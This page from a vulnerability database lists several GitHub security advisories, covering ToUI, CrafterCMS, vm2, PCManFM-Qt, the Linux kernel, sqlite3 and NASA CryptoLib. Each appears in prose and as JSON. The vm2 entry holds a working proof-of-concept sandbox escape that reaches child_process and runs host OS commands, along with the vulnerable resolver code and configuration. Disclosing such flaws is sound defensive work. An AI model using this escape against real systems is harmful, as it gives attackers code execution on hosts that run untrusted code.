Vulnerability-Lookup

GHSA-HH7J-PG39-Q563

Vulnerability from github – Published: 2023-05-24 17:38 – Updated: 2023-05-30 06:41

Summary

toui allows user-specific variables to be shared between users

Details

Impact

Websites that use Website.user_vars property in versions.

Patches

It affects versions v2.0.1 to v2.4.0. Please upgrade to v2.4.1

Workarounds

Do not use Website.user_vars in websites when using versions v2.0.1 to v2.4.0. Also, do not use Website.signin_user() in version v2.4.0 only.

Explanation

ToUI is using Flask-Caching (SimpleCache) to store user variables. My misunderstanding was that these caches are stored in the client's browser, but it seems that these are stored in the server side.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "toui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.1"
            },
            {
              "fixed": "2.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-33175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913",
      "CWE-914"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-24T17:38:52Z",
    "nvd_published_at": "2023-05-30T05:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nWebsites that use `Website.user_vars` property in versions.\n\n### Patches\nIt affects versions v2.0.1 to v2.4.0. Please upgrade to v2.4.1\n\n### Workarounds\nDo not use `Website.user_vars` in websites when using versions v2.0.1 to v2.4.0. Also, do not use `Website.signin_user()` in version v2.4.0 only.\n\n### Explanation\nToUI is using Flask-Caching (SimpleCache) to store user variables. My misunderstanding was that these caches are stored in the client\u0027s browser, but it seems that these are stored in the server side.\n",
  "id": "GHSA-hh7j-pg39-q563",
  "modified": "2023-05-30T06:41:13Z",
  "published": "2023-05-24T17:38:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mubarakalmehairbi/ToUI/security/advisories/GHSA-hh7j-pg39-q563"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33175"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mubarakalmehairbi/ToUI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mubarakalmehairbi/ToUI/releases/tag/v2.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "toui allows user-specific variables to be shared between users"
}

GHSA-J2HP-QMRF-626C

Vulnerability from github – Published: 2021-12-03 00:00 – Updated: 2021-12-04 00:01

Details

Authenticated users with Administrator or Developer roles may execute OS commands by Groovy Script which uses Groovy lib to render a webpage. The groovy script does not have security restrictions, which will cause attackers to execute arbitrary commands remotely(RCE).

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-23259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-02T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Authenticated users with Administrator or Developer roles may execute OS commands by Groovy Script which uses Groovy lib to render a webpage. The groovy script does not have security restrictions, which will cause attackers to execute arbitrary commands remotely(RCE).",
  "id": "GHSA-j2hp-qmrf-626c",
  "modified": "2021-12-04T00:01:14Z",
  "published": "2021-12-03T00:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23259"
    },
    {
      "type": "WEB",
      "url": "https://docs.craftercms.org/en/3.1/security/advisory.html#cv-2021120102"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-J3HM-6RG5-MCHV

Vulnerability from github – Published: 2026-10-05 22:34 – Updated: 2026-10-05 22:34

Summary

vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE

Details

Summary

NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox:

require.root defaults to unrestricted — "if omitted every path is allowed."
require.context defaults to "host" — files loaded this way run through the real Node.js require(), not inside any vm2 sandbox.

Sandboxed code can therefore require() a relative or absolute path to vm2's own installed package (node_modules/vm2), obtain the real, unwrapped NodeVM/VM classes, construct a brand-new unrestricted nested NodeVM instance, and execute arbitrary host OS commands via child_process.

This is exploitable using vm2's own documented "Quick Examples" configuration in README.md:

const vm = new NodeVM({
  require: {
    external: true,
    root: './',
  },
});

root: './' reads as a safety restriction but, in any ordinary npm project layout, ./node_modules/vm2 sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.

Affected Versions

All vm2 versions where lib/resolver-compat.js's makeResolverFromLegacyOptions predates this report — confirmed present as of the current main (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).

Details / Root Cause

lib/resolver-compat.js:

const {
  builtin: builtinOpt,
  mock: mockOpt,
  external: externalOpt,
  root: rootPaths,
  resolve: customResolver,
  customRequire: hostRequire = defaultRequire,
  context = 'host',          // <-- defaults to 'host'
  strict = true,
  fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
  // root is only canonicalized/validated if the embedder explicitly provided one.
  ...
}

and CustomResolver.isPathAllowed:

isPathAllowed(filename) {
  if (this.rootPaths === undefined) return true;   // <-- unrestricted when root is omitted
  ...
}

and CustomResolver.loadJS:

loadJS(vm, mod, filename) {
  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
  const m = this.hostRequire(filename);   // <-- real host require(), when context === 'host' (the default)
  mod.exports = vm.readonly(m);
}

CustomResolver (the resolver used whenever require.external is a bare true, i.e. not a scoped array/object) has no external-module-name allowlist at all — it gates purely on isPathAllowed, which is a no-op when root isn't set. Combined with context defaulting to 'host', any absolute or root-relative path sandboxed code names is loaded and executed via the real, unsandboxed Node.js require().

This is a distinct code path from the two already-fixed advisories that produce a similar end state:

Category 24 / GHSA-cp6g-6699-wx9c (require.root symlink bypass) assumes root is configured and attacks the symlink boundary via a TOCTOU between path.resolve() and the native loader's symlink-following. git log -- lib/resolver-compat.js shows its fix (realpath canonicalization) is the only history that file has — nothing from the nesting fix touches it, and the fix does nothing when root is never set in the first place, since there is no boundary to attack via symlink.
Category 25 / GHSA-8hg8-63c5-gwmx (nesting: true bypass) closes a different delivery mechanism entirely — the NESTING_OVERRIDE-injected vm2 builtin, gated by a constructor-time check on the nesting option. That check is never consulted by this path: an embedder with nesting: false (the default) and no dangerous require.builtin entries is still fully exposed via require.external: true alone.

An embedder who has correctly mitigated both prior advisories remains completely open through this one.

Documentation framing does not mitigate this to "expected behavior." require.external's JSDoc does carry an inline warning ("root should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than nesting: true's bolded WARNING, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent nesting from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in README.md sets root: './', which reads as an active safety choice, not an acknowledgment of "every path is allowed."

Proof of Concept

See attached poc.js. Reproduces using vm2's own documented Quick Examples config, in a normal project layout (poc.js next to a real node_modules/vm2 install) — no symlinks, no nesting, no dangerous require.builtin entries, no modification to vm2's source.

const path = require('path');
const { NodeVM } = require('vm2');

const vm = new NodeVM({
  require: { external: true, root: './' },   // verbatim from README "Quick Examples"
});

let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;

const result = vm.run(`
  const real = require(${JSON.stringify(vm2EntryPoint)});
  const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
  module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');

console.log(result); // real host username, e.g. "Abisheik M"

Actual output on the test machine:

{ whoami: 'Abisheik M', platform: 'win32' }

Abisheik M is the real OS account executing the Node.js process — not a sandbox artifact.

Impact

Any application that follows vm2's own README "Quick Examples" pattern (or any config with require.external enabled and require.root set to a path that includes node_modules, or omitted entirely) allows sandboxed/untrusted code to:

Execute arbitrary OS commands via child_process (full RCE).
Read/write arbitrary files via fs (once inside the re-instantiated unrestricted NodeVM).
Fully defeat every other sandbox restriction the embedder configured on the outer NodeVM — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.

Suggested Fix

Mirror the precedent already established for nesting (Category 25) and require.root (Category 24): fail loudly at construction time instead of silently defaulting to an unsafe combination.

In lib/resolver-compat.js's makeResolverFromLegacyOptions, when externalOpt is truthy (bare true, or an object/array not scoped to specific module names only) and rootPaths === undefined, throw a VMError at new NodeVM(...) construction time — extending the same checkedRootPaths eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default require object when nesting: true is set.

Additionally: update README.md's "Quick Examples" snippet so it no longer shows a root value that is silently vulnerable to a same-directory node_modules install (e.g. scope it below the project root, or add an explicit callout that root must exclude node_modules).

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92946"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:34:50Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`NodeVM`\u0027s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox:\n\n- `require.root` defaults to **unrestricted** \u2014 \"if omitted every path is allowed.\"\n- `require.context` defaults to **`\"host\"`** \u2014 files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox.\n\nSandboxed code can therefore `require()` a relative or absolute path to vm2\u0027s own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`.\n\nThis is exploitable using **vm2\u0027s own documented \"Quick Examples\" configuration** in `README.md`:\n\n```js\nconst vm = new NodeVM({\n  require: {\n    external: true,\n    root: \u0027./\u0027,\n  },\n});\n```\n\n`root: \u0027./\u0027` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree \u2014 so the restriction does not exclude vm2 itself. An application built by following the README\u0027s quick-start guide is affected by default.\n\n\n## Affected Versions\n\nAll vm2 versions where `lib/resolver-compat.js`\u0027s `makeResolverFromLegacyOptions` predates this report \u2014 confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).\n\n## Details / Root Cause\n\n`lib/resolver-compat.js`:\n\n```js\nconst {\n  builtin: builtinOpt,\n  mock: mockOpt,\n  external: externalOpt,\n  root: rootPaths,\n  resolve: customResolver,\n  customRequire: hostRequire = defaultRequire,\n  context = \u0027host\u0027,          // \u003c-- defaults to \u0027host\u0027\n  strict = true,\n  fs: fsOpt = DEFAULT_FS,\n} = options;\n...\nif (!externalOpt) return new Resolver(fsOpt, [], builtins);\n...\nlet checkedRootPaths;\nif (rootPaths !== undefined) {\n  // root is only canonicalized/validated if the embedder explicitly provided one.\n  ...\n}\n```\n\nand `CustomResolver.isPathAllowed`:\n\n```js\nisPathAllowed(filename) {\n  if (this.rootPaths === undefined) return true;   // \u003c-- unrestricted when root is omitted\n  ...\n}\n```\n\nand `CustomResolver.loadJS`:\n\n```js\nloadJS(vm, mod, filename) {\n  if (this.pathContext(filename, \u0027js\u0027) !== \u0027host\u0027) return super.loadJS(vm, mod, filename);\n  const m = this.hostRequire(filename);   // \u003c-- real host require(), when context === \u0027host\u0027 (the default)\n  mod.exports = vm.readonly(m);\n}\n```\n\n`CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** \u2014 it gates purely on `isPathAllowed`, which is a no-op when `root` isn\u0027t set. Combined with `context` defaulting to `\u0027host\u0027`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`.\n\n**This is a distinct code path from the two already-fixed advisories that produce a similar end state:**\n\n- **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader\u0027s symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has \u2014 nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.\n- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely \u2014 the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone.\n\nAn embedder who has correctly mitigated both prior advisories remains completely open through this one.\n\n**Documentation framing does not mitigate this to \"expected behavior.\"** `require.external`\u0027s JSDoc does carry an inline warning (\"`root` should be set to restrict the script from requiring any module\"), but it is unbolded prose stating a default, not flagged as dangerous \u2014 materially weaker than `nesting: true`\u0027s bolded **WARNING**, dedicated README section, and explicit \"grants unrestricted host module access\" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown \"Quick Examples\" snippet in `README.md` sets `root: \u0027./\u0027`, which reads as an active safety choice, not an acknowledgment of \"every path is allowed.\"\n\n## Proof of Concept\n\nSee attached `poc.js`. Reproduces using **vm2\u0027s own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) \u2014 no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2\u0027s source.\n\n```js\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst vm = new NodeVM({\n  require: { external: true, root: \u0027./\u0027 },   // verbatim from README \"Quick Examples\"\n});\n\nlet vm2EntryPoint = path.relative(process.cwd(), require.resolve(\u0027vm2\u0027)).replace(/\\\\/g, \u0027/\u0027);\nif (!vm2EntryPoint.startsWith(\u0027.\u0027)) vm2EntryPoint = \u0027./\u0027 + vm2EntryPoint;\n\nconst result = vm.run(`\n  const real = require(${JSON.stringify(vm2EntryPoint)});\n  const inner = new real.NodeVM({ require: { builtin: [\u0027child_process\u0027], external: false } });\n  module.exports = inner.run(\"module.exports = require(\u0027child_process\u0027).execSync(\u0027whoami\u0027).toString().trim()\", \u0027inner.js\u0027);\n`, \u0027untrusted-plugin.js\u0027);\n\nconsole.log(result); // real host username, e.g. \"Abisheik M\"\n```\n\n**Actual output on the test machine:**\n```\n{ whoami: \u0027Abisheik M\u0027, platform: \u0027win32\u0027 }\n```\n\n`Abisheik M` is the real OS account executing the Node.js process \u2014 not a sandbox artifact.\n\n## Impact\n\nAny application that follows vm2\u0027s own README \"Quick Examples\" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to:\n\n- Execute arbitrary OS commands via `child_process` (full RCE).\n- Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`).\n- Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` \u2014 the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.\n\n## Suggested Fix\n\nMirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**\n\nIn `lib/resolver-compat.js`\u0027s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time \u2014 extending the *same* `checkedRootPaths` eager-probe block that Category 24\u0027s fix already introduced for the \"root is set but the fs adapter can\u0027t realpath\" case, to also cover \"root was never set at all.\" This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25\u0027s fix forces an explicit non-default `require` object when `nesting: true` is set.\n\nAdditionally: update `README.md`\u0027s \"Quick Examples\" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).",
  "id": "GHSA-j3hm-6rg5-mchv",
  "modified": "2026-10-05T22:34:50Z",
  "published": "2026-10-05T22:34:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92946"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE"
}

GHSA-J6X3-3JQQ-M922

Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-20 17:41

Summary

CrafterCMS OS Command Injection vulnerability

Details

Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass.

Severity

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.craftercms:craftercms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "fixed": "3.1.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-40635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-20T17:41:27Z",
    "nvd_published_at": "2022-09-13T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass.",
  "id": "GHSA-j6x3-3jqq-m922",
  "modified": "2022-09-20T17:41:27Z",
  "published": "2022-09-14T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40635"
    },
    {
      "type": "WEB",
      "url": "https://docs.craftercms.org/en/3.1/security/advisory.html#cv-2022051602"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftercms/craftercms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CrafterCMS OS Command Injection vulnerability"
}

GHSA-J7MP-FRQ8-HWP3

Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-07-23 18:30

Details

An issue was discovered in all versions of PCManFM-Qt starting from 1.1.0. When a regular file's path is passed as a URI in an org.freedesktop.FileManager1.ShowFolders D-Bus method call, PCManFM-Qt delegates to a different program (based on the file type) without user confirmation. This could be used to achieve code execution or circumvent network namespace restrictions. NOTE: those outcomes are potentially unwanted by most users; however, the behavior of the product does comply with the applicable specification, and a simplistic solution (ensuring that the URI does not name a regular file) may have adverse consequences for I/O.

Severity

9.3 (Critical)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:N/R:I/V:D/RE:M/U:Clear

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-48700"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-22T19:17:04Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in all versions of PCManFM-Qt starting from 1.1.0. When a regular file\u0027s path is passed as a URI in an org.freedesktop.FileManager1.ShowFolders D-Bus method call, PCManFM-Qt delegates to a different program (based on the file type) without user confirmation. This could be used to achieve code execution or circumvent network namespace restrictions. NOTE: those outcomes are potentially unwanted by most users; however, the behavior of the product does comply with the applicable specification, and a simplistic solution (ensuring that the URI does not name a regular file) may have adverse consequences for I/O.",
  "id": "GHSA-j7mp-frq8-hwp3",
  "modified": "2026-07-23T18:30:46Z",
  "published": "2026-05-26T13:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48700"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxqt/pcmanfm-qt/releases"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2026/05/19/1"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2026/05/20/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/24/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:I/V:D/RE:M/U:Clear",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JGC5-XGWJ-77VF

Vulnerability from github – Published: 2022-02-17 00:00 – Updated: 2022-03-19 00:01

Details

In the Linux kernel through 5.16.10, certain binary files may have the exec-all attribute if they were built in approximately 2003 (e.g., with GCC 3.2.2 and Linux kernel 2.4.20). This can cause execution of bytes located in supposedly non-executable regions of a file.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-25265"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-16T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel through 5.16.10, certain binary files may have the exec-all attribute if they were built in approximately 2003 (e.g., with GCC 3.2.2 and Linux kernel 2.4.20). This can cause execution of bytes located in supposedly non-executable regions of a file.",
  "id": "GHSA-jgc5-xgwj-77vf",
  "modified": "2022-03-19T00:01:46Z",
  "published": "2022-02-17T00:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25265"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/blob/1c33bb0507508af24fd754dd7123bd8e997fab2f/arch/x86/include/asm/elf.h#L281-L294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/x0reaxeax/exec-prot-bypass"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220318-0005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQV5-7XPX-QJ74

Vulnerability from github – Published: 2023-03-13 20:00 – Updated: 2023-03-16 21:34

Summary

sqlite vulnerable to code execution due to Object coercion

Details

Impact

Due to the underlying implementation of .ToString(), it's possible to execute arbitrary JavaScript, or to achieve a denial-of-service, if a binding parameter is a crafted Object.

Users of sqlite3 v5.0.0 - v5.1.4 are affected by this.

Patches

Fixed in v5.1.5. All users are recommended to upgrade to v5.1.5 or later.

Workarounds

Ensure there is sufficient sanitization in the parent application to protect against invalid values being supplied to binding parameters.

References

Commit: https://github.com/TryGhost/node-sqlite3/commit/edb1934dd222ae55632e120d8f64552d5191c781

For more information

If you have any questions or comments about this advisory:

Email us at security@ghost.org

Credits: Dave McDaniel of Cisco Talos

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sqlite3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-43441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-13T20:00:52Z",
    "nvd_published_at": "2023-03-16T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nDue to the underlying implementation of `.ToString()`, it\u0027s possible to execute arbitrary JavaScript, or to achieve a denial-of-service, if a binding parameter is a crafted Object.\n\nUsers of `sqlite3` v5.0.0 - v5.1.4 are affected by this.\n\n### Patches\n\nFixed in v5.1.5. All users are recommended to upgrade to v5.1.5 or later.\n\n### Workarounds\n\n* Ensure there is sufficient sanitization in the parent application to protect against invalid values being supplied to binding parameters.\n\n### References\n\n* Commit: https://github.com/TryGhost/node-sqlite3/commit/edb1934dd222ae55632e120d8f64552d5191c781\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@ghost.org](mailto:security@ghost.org)\n\nCredits: Dave McDaniel of Cisco Talos",
  "id": "GHSA-jqv5-7xpx-qj74",
  "modified": "2023-03-16T21:34:27Z",
  "published": "2023-03-13T20:00:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/node-sqlite3/security/advisories/GHSA-jqv5-7xpx-qj74"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43441"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/node-sqlite3/commit/edb1934dd222ae55632e120d8f64552d5191c781"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TryGhost/node-sqlite3"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1645"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sqlite vulnerable to code execution due to Object coercion"
}

GHSA-JVPP-7888-2HGR

Vulnerability from github – Published: 2025-04-27 03:30 – Updated: 2025-04-27 03:30

Details

NASA CryptoLib before 1.3.2 does not check whether the SA is in an operational state before use, possibly leading to a bypass of the Space Data Link Security protocol (SDLS).

Severity

4.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-46673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-27T01:15:44Z",
    "severity": "MODERATE"
  },
  "details": "NASA CryptoLib before 1.3.2 does not check whether the SA is in an operational state before use, possibly leading to a bypass of the Space Data Link Security protocol (SDLS).",
  "id": "GHSA-jvpp-7888-2hgr",
  "modified": "2025-04-27T03:30:22Z",
  "published": "2025-04-27T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46673"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nasa/CryptoLib/pull/286"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nasa/CryptoLib/pull/306"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nasa/CryptoLib/compare/v1.3.0...v1.3.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nasa/CryptoLib/compare/v1.3.1...v1.3.2"
    },
    {
      "type": "WEB",
      "url": "https://securitybynature.fr/post/hacking-cryptolib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

